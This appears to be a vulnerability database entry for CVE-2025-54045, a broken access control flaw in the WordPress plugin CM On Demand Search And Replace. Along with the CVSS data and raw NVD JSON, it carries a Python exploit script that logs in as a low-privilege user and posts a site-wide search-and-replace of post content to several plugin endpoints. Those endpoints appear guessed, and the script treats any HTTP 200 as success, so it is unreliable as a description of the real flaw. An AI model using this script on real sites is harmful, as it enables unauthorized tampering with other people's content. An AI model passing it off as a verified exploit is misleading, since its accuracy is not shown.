Security Vulnerability Report
中文
CVE-2025-54045 CVSS 4.3 MEDIUM

CVE-2025-54045

Published: 2025-12-16 09:15:53
Last Modified: 2026-04-27 16:16:29

Description

Missing Authorization vulnerability in CreativeMindsSolutions CM On Demand Search And Replace cm-on-demand-search-and-replace allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects CM On Demand Search And Replace: from n/a through <= 1.5.5.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CM On Demand Search And Replace <= 1.5.4
CM On Demand Search And Replace <= 1.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54045 PoC - Missing Authorization in CM On Demand Search And Replace # This PoC demonstrates the broken access control vulnerability import requests import sys def exploit_cve_2025_54045(target_url, username, password): """ Exploit for Missing Authorization vulnerability in CM On Demand Search And Replace plugin Target: WordPress site with vulnerable CM On Demand Search And Replace plugin <= 1.5.5 """ # Setup session session = requests.Session() # Step 1: Login with low-privilege user (subscriber/contributor) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Attempting to login with low-privilege account...") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit the missing authorization - access admin functions # Plugin endpoint that should require admin privileges exploit_endpoints = [ '/wp-admin/admin-ajax.php?action=cm_search_replace_admin', '/wp-admin/admin-ajax.php?action=cm_demand_search_replace', '/wp-content/plugins/cm-on-demand-search-and-replace/includes/api.php' ] exploit_data = { 'operation': 'search_replace', 'search': 'original_content', 'replace': 'malicious_content', 'scope': 'all_posts' } print("[*] Attempting to exploit missing authorization...") for endpoint in exploit_endpoints: try: response = session.post( f"{target_url}{endpoint}", data=exploit_data, timeout=10 ) # Check if exploitation was successful if response.status_code == 200: print(f"[+] Potential exploitation at: {endpoint}") print(f"[*] Response: {response.text[:500]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") continue print("[-] Exploitation may have failed or plugin not vulnerable") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-54045.py <target_url> <username> <password>") print("Example: python cve-2025-54045.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_54045(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54045", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:52.563", "lastModified": "2026-04-27T16:16:28.640", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in CreativeMindsSolutions CM On Demand Search And Replace cm-on-demand-search-and-replace allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects CM On Demand Search And Replace: from n/a through <= 1.5.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cm-on-demand-search-and-replace/vulnerability/wordpress-cm-on-demand-search-and-replace-plugin-1-5-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}